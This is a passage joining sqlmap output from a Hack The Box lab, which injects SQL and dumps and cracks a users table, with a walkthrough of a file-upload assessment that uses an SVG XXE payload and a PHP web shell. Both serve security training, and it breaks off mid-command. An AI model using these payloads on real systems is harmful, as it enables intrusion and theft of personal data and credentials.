[INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="Rice") [16:28:08] [INFO] testing 'Generic inline queries' [16:28:08] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)' [16:28:08] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)' [16:28:08] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)' [16:28:09] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)' [16:28:09] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)' [16:28:09] [WARNING] potential permission problems detected ('command denied') [16:28:09] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)' [16:28:09] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)' [16:28:10] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)' [16:28:10] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' [16:28:10] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable [16:28:10] [INFO] testing 'MySQL inline queries' [16:28:10] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)' [16:28:10] [WARNING] time-based comparison requires larger statistical model, please wait........... (done) [16:28:23] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 stacked queries (comment)' injectable [16:28:23] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' [16:28:34] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable [16:28:34] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' [16:28:34] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found [16:28:34] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test [16:28:35] [INFO] target URL appears to have 6 columns in query [16:28:36] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N sqlmap identified the following injection point(s) with a total of 43 HTTP(s) requests: --- Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=1 AND 1689=1689 Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: id=1 AND (SELECT 5497 FROM(SELECT COUNT(*),CONCAT(0x7171626b71,(SELECT (ELT(5497=5497,1))),0x717a7a7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) Type: stacked queries Title: MySQL >= 5.0.12 stacked queries (comment) Payload: id=1;SELECT SLEEP(5)# Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=1 AND (SELECT 6423 FROM (SELECT(SLEEP(5)))BdfW) Type: UNION query Title: Generic UNION query (NULL) - 6 columns Payload: id=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171626b71,0x586b79504e675654694b4650417a506d64704b52434c5853667a705a7a45477a7a4a677579414b42,0x717a7a7a71)-- - --- [16:28:36] [INFO] the back-end DBMS is MySQL web server operating system: Linux Debian 10 (buster) web application technology: Apache 2.4.38 back-end DBMS: MySQL >= 5.0 (MariaDB fork) [16:28:36] [INFO] fetching tables for database: 'testdb' [16:28:37] [INFO] fetching columns for table 'users' in database 'testdb' [16:28:37] [INFO] fetching entries for table 'users' in database 'testdb' [16:28:37] [INFO] recognized possible password hashes in column 'password' do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N do you want to crack them via a dictionary-based attack? [Y/n/q] Y [16:28:37] [INFO] using hash method 'sha1_generic_passwd' what dictionary do you want to use? [1] default dictionary file '/usr/share/sqlmap/data/txt/wordlist.tx_' (press Enter) [2] custom dictionary file [3] file with list of dictionary files > 1 [16:28:37] [INFO] using default dictionary do you want to use common password suffixes? (slow!) [y/N] N [16:28:37] [INFO] starting dictionary-based cracking (sha1_generic_passwd) [16:28:37] [INFO] starting 4 processes [16:28:37] [INFO] cracked password '05adrian' for hash '70f361f8a1c9035a1d972a209ec5e8b726d1055e' [16:28:38] [INFO] cracked password '1201Hunt' for hash 'df692aa944eb45737f0b3b3ef906f8372a3834e9' [16:28:38] [INFO] cracked password '1955chev' for hash 'aed6d83bab8d9234a97f18432cd9a85341527297' [16:28:38] [INFO] cracked password '3052' for hash '9a0f092c8d52eaf3ea423cef8485702ba2b3deb9' [16:28:38] [INFO] cracked password 'Enizoom1609' for hash 'd642ff0feca378666a8727947482f1a4702deba0' [16:28:38] [INFO] cracked password 'actionteam' for hash '520df62660b18e571c7cb3b5d3f559b8a8ff0d4b' [16:28:38] [INFO] cracked password 'Zc1uowqg6' for hash '0ff476c2676a2e5f172fe568110552f2e910c917' [16:28:38] [INFO] cracked password 'aza221p' for hash '6725c7bee76ccdb7eda15fa263908988115498a9' [16:28:39] [INFO] cracked password 'breakout' for hash 'ef6896ab2d5a3c6e8ba7ee46ba3e48c29057ad74' [16:28:39] [INFO] cracked password 'donatus' for hash '20021ffbd3be7a3cddc64812d5dd6e5afb6e760c' [16:28:39] [INFO] cracked password 'exquisite' for hash 'c7fbcdaf308cdcd64504d46342e7c79959388c44' [16:28:39] [INFO] cracked password 'hjungpil1' for hash '4282cfe7697817374251bc17aa47de6f620586b5' [16:28:39] [INFO] cracked password 'homerhound' for hash 'c418f9859f9d85e9c7e1eadd8c512cf7ddf4d16b' [16:28:39] [INFO] cracked password 'hibiskus' for hash 'a5e68cd37ce8ec021d5ccb9392f4980b3c8b3295' [16:28:40] [INFO] cracked password 'melek200215' for hash '5635e59941510dc473fbeed046c43007f76cfe03' [16:28:40] [INFO] cracked password 'millisa34' for hash '608e6d07cc8ce20bfdaf9c72ef420ad691de32cb' [16:28:40] [INFO] cracked password 'morswin2' for hash '8203b1bf12aba49d7566ff7007b60d1c0a439bee' [16:28:40] [INFO] cracked password 'mike230040' for hash '65b136cb1ec4b88f709f8f510262720eddfa71a7' [16:28:40] [INFO] cracked password 'nike92' for hash '2e0488a09433aa0d67b3463c76f407c7b0388ad7' [16:28:40] [INFO] cracked password 'plasid' for hash '15ce1871a907e8265f00defa21a723e7a4d35267' [16:28:40] [INFO] cracked password 'raided' for hash '2b89b43b038182f67a8b960611d73e839002fbd9' [16:28:40] [INFO] cracked password 'rohaniah' for hash '4bf1926f7bb7ae283e1390236fd4a8737209862e' [16:28:40] [INFO] cracked password 'sgreen4eva' for hash '41244ab550c182b3ebe2dce87065bf363d0e013e' [16:28:40] [INFO] cracked password 'sk8ter58' for hash '3d8f48ab8e119dd813a449f6bfcf42abae63567b' [16:28:40] [INFO] cracked password 'ford1900' for hash 'f2d897eb3bae0f1fd396325deb3c4779ae1d586d' [16:28:40] [INFO] cracked password 'spiderpig8574376' for hash 'b7fbde78b81f7ad0b8ce0cc16b47072a6ea5f08e' [16:28:40] [INFO] cracked password 'ssival47' for hash 'f5eb0fbdd88524f45c7c67d240a191163a27184b' [16:28:41] [INFO] cracked password 'tarablinda' for hash '9987f0c165bc62eb3ee3db17967fbb81c026c197' [16:28:41] [INFO] cracked password 'vptwo0gc' for hash '21549a28300f72442b132d06d4016de606f36627' Database: testdb Table: users [32 entries] +----+------------------+-----------------------------+--------------+-------------------+------------------------+-------------------+-------------------------------------------------------------+---------------------------------------------------+ | id | cc | email | phone | name | address | birthday | password | occupation | +----+------------------+-----------------------------+--------------+-------------------+------------------------+-------------------+-------------------------------------------------------------+---------------------------------------------------+ | 1 | 5387278172507117 | MaynardMRice@yahoo.com | 281-559-0172 | Maynard Rice | 1698 Bird Spring Lane | March 1 1958 | 9a0f092c8d52eaf3ea423cef8485702ba2b3deb9 (3052) | Linemen | | 2 | 4539475107874477 | JulioWThomas@gmail.com | 973-426-5961 | Julio Thomas | 1207 Granville Lane | February 14 1972 | 10946aa229a6d569f226976b22ea0e900a1fc219 | Agricultural product sorter | | 3 | 4716522746974567 | KennethTMaloney@gmail.com | 954-617-0424 | Kenneth Maloney | 2811 Kenwood Place | May 14 1989 | a5e68cd37ce8ec021d5ccb9392f4980b3c8b3295 (hibiskus) | General and operations manager | | 4 | 4929811432072262 | GregoryBStumbaugh@yahoo.com | 410-680-5653 | Gregory Stumbaugh | 1641 Marshall Street | May 7 1936 | b7fbde78b81f7ad0b8ce0cc16b47072a6ea5f08e (spiderpig8574376) | Foreign language interpreter | | 5 | 4539646911423277 | BobbyJGranger@gmail.com | 212-696-1812 | Bobby Granger | 4510 Shinn Street | December 22 1939 | aed6d83bab8d9234a97f18432cd9a85341527297 (1955chev) | Medical records and health information technician | | 6 | 5143241665092174 | KimberlyMWright@gmail.com | 440-232-3739 | Kimberly Wright | 3136 Ralph Drive | June 18 1972 | d642ff0feca378666a8727947482f1a4702deba0 (Enizoom1609) | Electrologist | | 7 | 5503989023993848 | DeanLHarper@yahoo.com | 440-847-8376 | Dean Harper | 3766 Flynn Street | February 3 1974 | 2b89b43b038182f67a8b960611d73e839002fbd9 (raided) | Store detective | | 8 | 4556586478396094 | GabrielaRWaite@msn.com | 732-638-1529 | Gabriela Waite | 2459 Webster Street | December 24 1965 | f5eb0fbdd88524f45c7c67d240a191163a27184b (ssival47) | Telephone station installer | | 9 | 5452466713512742 | RoySCarr@msn.com | 408-848-6272 | Roy Carr | 1384 Sycamore Street | October 19 1942 | 9987f0c165bc62eb3ee3db17967fbb81c026c197 (tarablinda) | Freight, stock, and material mover | | 10 | 5231550277906388 | AlfonzoGWilliams@gmail.com | 740-546-1581 | Alfonzo Williams | 911 Irving Road | July 16 1931 | c418f9859f9d85e9c7e1eadd8c512cf7ddf4d16b (homerhound) | Outside order clerk | | 11 | 5224197138746170 | ChristopherHBrown@yahoo.com | 917-840-2535 | Christopher Brown | 2246 Settlers Lane | March 29 1951 | 608e6d07cc8ce20bfdaf9c72ef420ad691de32cb (millisa34) | Unlicensed assistive personnel | | 12 | 4485150912665782 | AudreyRHill@gmail.com | 717-308-3644 | Audrey Hill | 2306 Stout Street | July 19 1969 | 8203b1bf12aba49d7566ff7007b60d1c0a439bee (morswin2) | Mail processor | | 13 | 4716071391111521 | RyanMSpencer@msn.com | 256-441-1530 | Ryan Spencer | 4309 Turnpike Drive | July 3 1979 | ef6896ab2d5a3c6e8ba7ee46ba3e48c29057ad74 (breakout) | Claims representative | | 14 | 4716242999773281 | JessieJSchwan@yahoo.com | 989-217-2111 | Jessie Schwan | 1285 Wood Street | October 28 1937 | 520df62660b18e571c7cb3b5d3f559b8a8ff0d4b (actionteam) | Network and computer systems administrator | | 15 | 5183997232057997 | ShannonRStewart@yahoo.com | 828-850-2133 | Shannon Stewart | 1596 Watson Lane | May 28 1934 | 2e0488a09433aa0d67b3463c76f407c7b0388ad7 (nike92) | Sketch artist | | 16 | 4556164708532886 | MarkLStilwell@msn.com | 715-392-4649 | Mark Stilwell | 121 Abner Road | September 1 1950 | 21549a28300f72442b132d06d4016de606f36627 (vptwo0gc) | Occupational therapist assistant | | 17 | 4485731897297327 | AnnetteDGill@yahoo.com | 216-376-3062 | Annette Gill | 4999 Glenwood Avenue | August 19 1977 | 0ff476c2676a2e5f172fe568110552f2e910c917 (Zc1uowqg6) | Plate finisher | | 18 | 4485934311754598 | CyndiBReyes@gmail.com | 903-679-2061 | Cyndi Reyes | 4347 Hall Place | June 5 1947 | 15ce1871a907e8265f00defa21a723e7a4d35267 (plasid) | Executive | | 19 | 5217064909950341 | WilliamDMunoz@gmail.com | 323-789-6686 | William Munoz | 2961 Hillhaven Drive | July 4 1928 | df692aa944eb45737f0b3b3ef906f8372a3834e9 (1201Hunt) | Service station attendant | | 20 | 4929461176669103 | ScottBPonce@yahoo.com | 626-537-0602 | Scott Ponce | 3023 Woodstock Drive | September 19 1947 | 20021ffbd3be7a3cddc64812d5dd6e5afb6e760c (donatus) | Benefits manager | | 21 | 4916977560623393 | PhilipTAhearn@gmail.com | 509-327-6685 | Philip Ahearn | 4418 Goodwin Avenue | May 22 1938 | 3d8f48ab8e119dd813a449f6bfcf42abae63567b (sk8ter58) | Office assistant | | 22 | 5480619405065199 | MyraJStephenson@yahoo.com | 717-770-6897 | Myra Stephenson | 4225 Aaron Smith Drive | December 25 1966 | 41244ab550c182b3ebe2dce87065bf363d0e013e (sgreen4eva) | Animator | | 23 | 4532761682899246 | MarianCJoiner@yahoo.com | 707-467-5061 | Marian Joiner | 273 Fairway Drive | February 12 1978 | 5635e59941510dc473fbeed046c43007f76cfe03 (melek200215) | Foundry mold and coremaker | | 24 | 5357620822740711 | LloydSLiu@gmail.com | 616-396-4287 | Lloyd Liu | 3277 Howard Street | August 18 1951 | 09422b94c8f031285b22500c2d0a68bb8ec4dc70 | Sound engineering technician | | 25 | 5219707450752213 | JoshuaEFletcher@gmail.com | 317-670-8864 | Joshua Fletcher | 1510 Stewart Street | August 14 1934 | 65b136cb1ec4b88f709f8f510262720eddfa71a7 (mike230040) | Edition binding worker | | 26 | 4485684355495794 | MargaretNBooker@msn.com | 760-969-7147 | Margaret Booker | 70 Wilson Street | December 17 1975 | 4282cfe7697817374251bc17aa47de6f620586b5 (hjungpil1) | Management information systems director | | 27 | 5134210174158363 | FrancisMArroyo@yahoo.com | 951-252-9692 | Francis Arroyo | 3600 Hillcrest Lane | July 6 1993 | f2d897eb3bae0f1fd396325deb3c4779ae1d586d (ford1900) | Gastroenterology nurse | | 28 | 4485114901308234 | AngelJMarquez@gmail.com | 209-874-4743 | Angel Marquez | 1144 Richards Avenue | May 14 1966 | 4bf1926f7bb7ae283e1390236fd4a8737209862e (rohaniah) | Echocardiographer | | 29 | 4532210842993911 | PamelaJRock@yahoo.com | 715-454-8565 | Pamela Rock | 3110 Abner Road | October 31 1992 | c7fbcdaf308cdcd64504d46342e7c79959388c44 (exquisite) | Private investigator | | 30 | 4556109704569770 | DennisDSnow@yahoo.com | 715-730-1951 | Dennis Snow | 4211 Tea Berry Lane | November 10 1938 | 6725c7bee76ccdb7eda15fa263908988115498a9 (aza221p) | Unlicensed assistive personnel | | 31 | 5554945940459873 | LorenSBunch@gmail.com | 805-766-2963 | Loren Bunch | 3111 Par Drive | October 22 1971 | 70f361f8a1c9035a1d972a209ec5e8b726d1055e (05adrian) | Cafeteria cook | | 32 | 4716522746974567 | KennethTMaloney@gmail.com | 954-617-0424 | Kenneth Maloney | 2811 Kenwood Place | May 14 1989 | c6970ba1130b4bbca5be99f0ce00a706f256c818 | General and operations manager | +----+------------------+-----------------------------+--------------+-------------------+------------------------+-------------------+-------------------------------------------------------------+---------------------------------------------------+ [16:28:43] [INFO] table 'testdb.users' dumped to CSV file '/home/htb-ac-1067736/.local/share/sqlmap/output/94.237.62.103/dump/testdb/users.csv' [16:28:43] [INFO] fetching columns for table 'flag1' in database 'testdb' [16:28:43] [INFO] fetching entries for table 'flag1' in database 'testdb' Database: testdb Table: flag1 [1 entry] +----+-----------------------------------------------------+ | id | content | +----+-----------------------------------------------------+ | 1 | HTB{c0n6r475_y0u_kn0w_h0w_70_run_b451c_5qlm4p_5c4n} | +----+-----------------------------------------------------+ [16:28:44] [INFO] table 'testdb.flag1' dumped to CSV file '/home/htb-ac-1067736/.local/share/sqlmap/output/94.237.62.103/dump/testdb/flag1.csv' [16:28:44] [INFO] fetched data logged to text files under '/home/htb-ac-1067736/.local/share/sqlmap/output/94.237.62.103' [16:28:44] [WARNING] your sqlmap version is outdated [*] ending @ 16:28:44 /2025-11-09/ Show all 181 lines --- # Re Walk | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/skills-assessment/re-walk.md) . Skills Assessment - File Upload Attacks[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/skills-assessment/re-walk#skills-assessment-file-upload-attacks) ------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ### Question 1[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/skills-assessment/re-walk#question-1) #### "Try to exploit the upload form to read the flag found at the root directory "/"."[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/skills-assessment/re-walk#try-to-exploit-the-upload-form-to-read-the-flag-found-at-the-root-directory) After spawning the target machine, students need to visit its website's root page and click on "Contact Us", where images can be uploaded: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fwalkthroughs%2F47%2FFile_Upload_Attacks_Walkthrough_Image_35.png&width=768&dpr=3&quality=100&sign=be1b6730&sv=2) File\_Upload\_Attacks\_Walkthrough\_Image\_35.png When students try to upload an image, it gets uploaded and displayed directly after clicking the green icon, without having to submit the form, thus, students need not click on "SUBMIT": ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fwalkthroughs%2F47%2FFile_Upload_Attacks_Walkthrough_Image_36.png&width=768&dpr=3&quality=100&sign=69216f77&sv=2) File\_Upload\_Attacks\_Walkthrough\_Image\_36.png Checking the uploaded image's link, students will notice that it is saved as a base64 string, with its full path not being disclosed, thus, the uploads directory can't be determined: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fwalkthroughs%2F47%2FFile_Upload_Attacks_Walkthrough_Image_37.png&width=768&dpr=3&quality=100&sign=4a8b2026&sv=2) File\_Upload\_Attacks\_Walkthrough\_Image\_37.png Subsequently, students need to start `Burp Suite`, set `FoxyProxy` to the preconfigured "BURP" profile, and click on the green icon to intercept the image upload request and send it to `Intruder` (`Ctrl` + `I`): ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fwalkthroughs%2F47%2FFile_Upload_Attacks_Walkthrough_Image_38.png&width=768&dpr=3&quality=100&sign=13365e8d&sv=2) File\_Upload\_Attacks\_Walkthrough\_Image\_38.png After clearing the default payload markers, students need to test for whitelisted extensions by adding a payload marker before the dot, such that it becomes `§.jpg§`: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fwalkthroughs%2F47%2FFile_Upload_Attacks_Walkthrough_Image_39.png&width=768&dpr=3&quality=100&sign=48fe47cc&sv=2) File\_Upload\_Attacks\_Walkthrough\_Image\_39.png Then, students need to uncheck "URL-encode these characters", copy the items of the [PHP extensions.lst](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Extension%20PHP/extensions.lst) list and paste them under `Payload Options`, then click "Start attack": ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fwalkthroughs%2F47%2FFile_Upload_Attacks_Walkthrough_Image_40.png&width=768&dpr=3&quality=100&sign=c7ab6ab4&sv=2) File\_Upload\_Attacks\_Walkthrough\_Image\_40.png ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fwalkthroughs%2F47%2FFile_Upload_Attacks_Walkthrough_Image_41.png&width=768&dpr=3&quality=100&sign=a6823775&sv=2) File\_Upload\_Attacks\_Walkthrough\_Image\_41.png Students will notice that the responses for the requests of extensions `.pht`, `.phtm`, `.phar`, and `.pgif` don't contain "Extension not allowed" but rather "Only images are allowed": ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fwalkthroughs%2F47%2FFile_Upload_Attacks_Walkthrough_Image_42.png&width=768&dpr=3&quality=100&sign=2c49742a&sv=2) File\_Upload\_Attacks\_Walkthrough\_Image\_42.png Thus, students need to choose one of the extensions to attempt bypassing the whitelist test, `.phar` will be used. Because any file with an extension not ending with that of an image can't be uploaded, the best attempt students can take is to name a shell file as `shell.phar.jpg`. However, this file can only be uploaded if the `Content-Type` header of the original image is not modified. Therefore, students need to fuzz the `Content-Type` header value. First, students need to add a payload marker around the value of `Content-Type`, such that it becomes `§image/jpeg§`: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fwalkthroughs%2F47%2FFile_Upload_Attacks_Walkthrough_Image_43.png&width=768&dpr=3&quality=100&sign=faaa234b&sv=2) File\_Upload\_Attacks\_Walkthrough\_Image\_43.png Then, students need to download [web-all-content-types.txt](https://github.com/danielmiessler/SecLists/raw/master/Discovery/Web-Content/web-all-content-types.txt) : Code: shell Skills Assessment - File Upload Attacks Subsequently, students need only to have content types that contain `image/`, so they need to use `grep`, copy the matching ones to the clipboard, and then paste them under "Payload Options" in `Burp Suite`: Code: shell Skills Assessment - File Upload Attacks ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fwalkthroughs%2F47%2FFile_Upload_Attacks_Walkthrough_Image_44.png&width=768&dpr=3&quality=100&sign=f26a5e50&sv=2) File\_Upload\_Attacks\_Walkthrough\_Image\_44.png After clicking on "Start attack" (and making sure that "URL-encode these characters" is unchecked), students will notice that most responses are 190 bytes in size, containing the message "Only images are allowed", however, the responses for `image/jpg`, `image/jpeg`, `image/png`, and `image/svg+xml` are an exception, as the images got uploaded successfully: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fwalkthroughs%2F47%2FFile_Upload_Attacks_Walkthrough_Image_45.png&width=768&dpr=3&quality=100&sign=540c9041&sv=2) File\_Upload\_Attacks\_Walkthrough\_Image\_45.png Since SVG images are allowed, and the uploaded images get reflected to the students, they need to attempt an SVG attack by creating an image called `shell.svg` with the following content to read the source code of the file `upload.php`: Code: xml Students can use `cat` to save the `XML` code into a file: Code: shell Skills Assessment - File Upload Attacks Subsequently, students need to upload `shell.svg`, however, when attempting to, they will receive the message "only images are allowed". To bypass this, students can change the extension from `.svg` to `.jpeg`: Code: shell Skills Assessment - File Upload Attacks ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fwalkthroughs%2F47%2FFile_Upload_Attacks_Walkthrough_Image_46.png&width=768&dpr=3&quality=100&sign=14fa82c6&sv=2) File\_Upload\_Attacks\_Walkthrough\_Image\_46.png However, in the intercepted request, students need to change the filename to have the `.svg` extension and `Content-Type` to be `image/svg+xml`: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fwalkthroughs%2F47%2FFile_Upload_Attacks_Walkthrough_Image_47.png&width=768&dpr=3&quality=100&sign=4c92fa17&sv=2) File\_Upload\_Attacks\_Walkthrough\_Image\_47.png After forwarding the request and checking its response, students will notice that they have the base64-encoded version of `upload.php`, thus, they need to decode it: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fwalkthroughs%2F47%2FFile_Upload_Attacks_Walkthrough_Image_48.png&width=768&dpr=3&quality=100&sign=c63952ec&sv=2) File\_Upload\_Attacks\_Walkthrough\_Image\_48.png Code: shell Skills Assessment - File Upload Attacks From the decoded output, students will know that the uploads directory is `./user_feedback_submissions/`, and that the uploaded file names are prepended with the date `ymd`, which adds the current year in short format, the current month, and the current day. With this information, students now need to upload a PHP web shell so that they can execute commands by creating an SVG file that contains it: Code: xml Students can use `cat` to save the exploit into a file: Code: shell Skills Assessment - File Upload Attacks Subsequently, since the frontend does not allow `.svg` extensions, students need to change it to `.jpeg`: Code: shell Skills Assessment - File Upload Attacks ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fwalkthroughs%2F47%2FFile_Upload_Attacks_Walkthrough_Image_49.png&width=768&dpr=3&quality=100&sign=84032d&sv=2) File\_Upload\_Attacks\_Walkthrough\_Image\_49.png Within the intercepted request, students need to change back the extension to `.svg` for filename and make `Content-Type` to be `image/svg+xml`: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fwalkthroughs%2F47%2FFile_Upload_Attacks_Walkthrough_Image_50.png&width=768&dpr=3&quality=100&sign=3c09923b&sv=2) File\_Upload\_Attacks\_Walkthrough\_Image\_50.png After forwarding the request, students need to navigate to `http://STMIP:STMPO/contact/user_feedback_submissions/YMD_shell.phar.svg` and use the `cmd` URL parameter to execute commands, as in `http://STMIP:STMPO/contact/user_feedback_submissions/YMD_shell.phar.svg?cmd=ls+/`: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fwalkthroughs%2F47%2FFile_Upload_Attacks_Walkthrough_Image_51.png&width=768&dpr=3&quality=100&sign=bca9499a&sv=2) File\_Upload\_Attacks\_Walkthrough\_Image\_51.png Students will notice that the flag file exists in the root directory with the name `flag_2b8f1d2da162d8c44b3696a1dd8a91c9.txt`, thus they need to fetch its contents, as in `http://STMIP:STMPO/contact/user_feedback_submissions/YMD_shell.phar.svg?cmd=cat+/flag_2b8f1d2da162d8c44b3696a1dd8a91c9.txt`: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fwalkthroughs%2F47%2FFile_Upload_Attacks_Walkthrough_Image_52.png&width=768&dpr=3&quality=100&sign=b5640325&sv=2) File\_Upload\_Attacks\_Walkthrough\_Image\_52.png Answer: {hidden} [PreviousSkills Assessment](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/skills-assessment) [NextCHEAT SHEET](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/cheat-sheet) Last updated 8 months ago * [Skills Assessment - File Upload Attacks](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/skills-assessment/re-walk#skills-assessment-file-upload-attacks) * [Question 1](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/skills-assessment/re-walk#question-1) Copy wget https://github.com/danielmiessler/SecLists/raw/master/Discovery/Web-Content/web-all-content-types.txt Copy ┌─[eu-academy-1]─[10.10.14.228]─[htb-ac413848@htb-l4rsenhs6c]─[~] └──╼ [★]$ wget https://github.com/danielmiessler/SecLists/raw/master/Discovery/Web-Content/web-all-content-types.txt--2022-11-30 05:03:37-- https://github.com/danielmiessler/SecLists/raw/master/Discovery/Web-Content/web-all-content-types.txt Resolving github.com (github.com)... 140.82.121.3 Connecting to github.com (github.com)|140.82.121.3|:443... connected. HTTP request sent, awaiting response... 302 Found Location: https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/web-all-content-types.txt [following] --2022-11-30 05:03:37-- https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/web-all-content-types.txt Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.109.133, 185.199.110.133, 185.199.111.133, ... Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.109.133|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 58204 (57K) [text/plain] Saving to: ‘web-all-content-types.txt’ web-all-content-types.txt 100%[==============================================>] 56.84K --.-KB/s in 0.001s 2022-11-30 05:03:37 (59.6 MB/s) - ‘web-all-content-types.txt’ saved [58204/58204] Copy cat web-all-content-types.txt | grep 'image/' | xclip -se c Copy ┌─[eu-academy-1]─[10.10.14.228]─[htb-ac413848@htb-l4rsenhs6c]─[~] └──╼ [★]$ cat web-all-content-types.txt | grep 'image/' | xclip -se c Copy <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=upload.php"> ]> <svg>&xxe;</svg> Copy cat << 'EOF' > shell.svg <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=upload.php"> ]> <svg>&xxe;</svg> EOF Copy ┌─[eu-academy-1]─[10.10.14.228]─[htb-ac413848@htb-l4rsenhs6c]─[~] └──╼ [★]$ cat << 'EOF' > shell.svg > <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=upload.php"> ]> <svg>&xxe;</svg> > EOF Copy mv shell.svg shell.jpeg Copy ┌─[eu-academy-1]─[10.10.14.228]─[htb-ac413848@htb-l4rsenhs6c]─[~] └──╼ [★]$ mv shell.svg shell.jpeg Copy echo 